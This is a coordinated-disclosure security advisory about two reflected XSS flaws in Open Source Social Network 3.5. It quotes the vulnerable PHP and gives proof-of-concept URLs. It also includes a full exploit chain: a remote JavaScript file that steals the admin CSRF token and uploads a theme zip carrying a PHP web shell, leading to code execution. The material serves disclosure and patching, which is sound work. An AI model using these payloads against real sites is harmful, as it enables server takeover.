Security Advisory - Curesec Research Team

1. Introduction

Affected         Open Source Social Network 3.5
Product:
Fixed in:        3.6
Fixed Version    https://www.opensource-socialnetwork.org/downloads/
Link:            ossn-v3.6-1443545762.zip
Vendor Contact:  https://www.opensource-socialnetwork.org/contact
Vulnerability    XSS
Type:
Remote           Yes
Exploitable:
Reported to      09/29/2015
vendor:
Disclosed to     11/13/2015
public:
Release mode:    Coordinated release
CVE:             n/a
Credits          Tim Coen of Curesec GmbH

2. Overview

There are two reflected XSS vulnerabilities in Open Source Social Network 3.5.
With this, it is possible to inject JavaScript keyloggers, or to bypass CSRF
protection, which in this case may lead to code execution.

3. XSS 1

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Proof of Concept


http://localhost/ossn/search?q='"></script><script>alert(1)</script>

Code


/ossn/themes/default/plugins/menus/search.php
$menus = $params['menu'];
echo "<div class='ossn-menu-search'>";
echo '<div class="title">' . ossn_print('result:type') . '</pre>';
foreach ($menus as $menu => $val) {
    foreach ($val as $link) {
                $menu = str_replace(':', '-', $link['text']);
$icon = ossn_site_url() . "components/OssnSearch/images/{$menu}.png";
$text = ossn_print($link['text']);
                $link = $link['href'];
echo "<li><a href='{$link}'>
                <img src='{$icon}' />
                <div class='text'>{$text}</pre>
                </a>
                </li>";
    }
}
echo '</pre>';

4. XSS 2

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Proof of Concept


http://localhost/ossn/home?offset=2&foo='"></script><script>alert(1)</script>

Code


/ossn/themes/default/pagination/view.php
if (count($_GET)) {
    $args_url = '';
    foreach ($_GET as $key => $value) {
if ($key != 'page') {
    $args_url .= '&' . $key . '=' . $value;
}
    }
}
[...]
$url = "?offset={$first}{$args_url}";
echo "<li><a href='{$url}' class='ossn-pagination-page'>".ossn_print('ossn:pagination:first')."</a></li>";

5. XSS to Code Execution

Description

Because the backend allows the upload of PHP files, the XSS vulnerabilities can
lead to code execution.

Proof of Concept


http://localhost/ossn/search?q='"><script src=http://localhost/s.js></script>

/s.js:
var csrfProtectedPage = 'http://localhost/ossn/administrator/theme_installer';

var html = get(csrfProtectedPage);
document.body.innerHTML = html;
var token = document.getElementsByName("ossn_token")[0].value;
var timestamp = document.getElementsByName("ossn_ts")[0].value;

submitRequest(token, timestamp);

function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
}

function submitRequest(token, timestamp) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost/ossn/action/admin/theme_install", true);
    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1441530840601255132539565608");
    xhr.withCredentials = true;
    var body = "-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"ossn_ts\"\r\n" +
"\r\n" +
"" + timestamp + "\r\n" +
"-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"ossn_token\"\r\n" +
"\r\n" +
"" + token + "\r\n" +
"-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"theme_file\"; filename=\"mycustomtheme.zip\"\r\n" +
"Content-Type: application/x-zip-compressed\r\n" +
"\r\n" +
"PK\x03\x04\x14\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00mycustomtheme/PK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xbcx\x3cG\xf6+\xec\x8e\x1c\x00\x00\x00\x1c\x00\x00\x00\x15\x00\x00\x00mycustomtheme/404.php\x3c?php passthru($_GET[\'x\']);\n" +
"PK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xe1x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00mycustomtheme/ossn_theme.phpPK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00mycustomtheme/ossn_theme.xmlPK\x01\x02?\x03\x14\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x80\xedA\x00\x00\x00\x00mycustomtheme/PK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xbcx\x3cG\xf6+\xec\x8e\x1c\x00\x00\x00\x1c\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81,\x00\x00\x00mycustomtheme/404.phpPK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xe1x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81{\x00\x00\x00mycustomtheme/ossn_theme.phpPK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\xb5\x00\x00\x00mycustomtheme/ossn_theme.xmlPK\x05\x06\x00\x00\x00\x00\x04\x00\x04\x00\x13\x01\x00\x00\xef\x00\x00\x00\x00\x00\r\n" +
"-----------------------------1441530840601255132539565608--\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
}

6. Solution

To mitigate this issue please upgrade at least to version 3.6:

https://www.opensource-socialnetwork.org/downloads/ossn-v3.6-1443545762.zip

Please note that a newer version might already be available.

7. Report Timeline

09/29/2015 Informed Vendor about Issue
09/29/2015 Vendor releases fix
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Open-Source-Social-Network-35-XSS-92.html